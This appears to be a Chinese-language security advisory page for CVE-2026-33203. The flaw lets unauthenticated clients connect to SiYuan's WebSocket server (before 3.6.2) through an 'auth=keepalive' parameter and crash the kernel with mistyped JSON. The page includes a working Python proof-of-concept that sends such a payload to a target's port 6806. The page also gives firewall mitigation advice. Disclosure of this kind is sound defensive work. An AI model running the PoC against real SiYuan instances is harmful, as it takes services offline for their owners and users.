IPBUF安全漏洞报告
English
CVE-2026-33203 CVSS 7.5 高危

CVE-2026-33203 SiYuan 拒绝服务漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33203
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SiYuan

相关标签

拒绝服务DoSSiYuanWebSocket未授权访问Type Confusion

漏洞概述

SiYuan是一款个人知识管理系统,在3.6.2版本之前,其内核WebSocket服务器存在重大安全缺陷。由于身份验证逻辑存在疏漏,当请求URL中携带特定的“auth keepalive”查询参数时,服务器会错误地接受未经身份验证的连接。更为严重的是,系统在处理这些连接传入的JSON消息时,缺乏对数据类型的校验,直接使用了未检查的类型断言。远程攻击者可利用此漏洞,通过发送特制的畸形JSON数据包触发运行时恐慌,导致内核进程崩溃,从而造成严重的拒绝服务。

技术细节

该漏洞的技术根源在于SiYuan内核WebSocket服务器中存在的身份验证绕过缺陷以及不安全的类型断言处理机制。首先,攻击者利用了服务器对“auth keepalive”查询参数的特殊处理逻辑,成功绕过了正常的身份验证流程,直接与内核服务建立未授权的WebSocket连接。其次,在底层Go代码实现中,服务端在解析攻击者控制的JSON消息时,直接使用了类型断言来提取字段,而未预先验证字段的存在性或类型兼容性。攻击者可以精心构造一个类型错误的数据包(例如将本应是字符串的字段替换为嵌套对象或整数),当服务器尝试将数据断言为不匹配的类型时,Go运行时会立即触发panic异常。由于此异常未被捕获,导致整个内核进程意外终止,从而实现拒绝服务攻击,严重影响系统可用性。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的SiYuan知识管理系统实例,并确认其版本低于3.6.2。
STEP 2
建立未授权连接
攻击者向目标服务器的WebSocket端口发送连接请求,并在URL中附加“auth=keepalive”参数,绕过身份验证机制。
STEP 3
发送恶意载荷
连接建立后,攻击者发送包含类型错误的JSON数据包(如类型不匹配的字段),利用未检查的类型断言漏洞。
STEP 4
触发崩溃
服务器内核在处理非法JSON时触发运行时恐慌(Panic),导致进程意外终止,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json async def exploit(): # Target URL with the vulnerable query parameter # Note: Default SiYuan WebSocket port is usually 6806 target_url = "ws://<TARGET_IP>:6806/?auth=keepalive" try: # Establish connection without authentication async with websockets.connect(target_url) as websocket: print("[+] Connection established (Unauthenticated)") # Construct malformed JSON payload # This payload is designed to trigger a type assertion panic # by sending a type that the server does not expect. malicious_payload = { "cmd": "blockPush", "data": { "datatype": 12345, # Sending int instead of expected string/object "data": "malicious_content" } } print("[*] Sending malformed payload...") await websocket.send(json.dumps(malicious_payload)) print("[+] Payload sent. Check if the server crashed.") # Try to receive a response (likely to fail or hang if crashed) response = await websocket.recv() print(f"[-] Server response: {response}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": asyncio.run(exploit())

影响范围

SiYuan < 3.6.2

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或安全组策略,仅允许受信任的IP地址访问SiYuan的WebSocket服务端口(默认为6806),或暂时禁用WebSocket服务功能以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表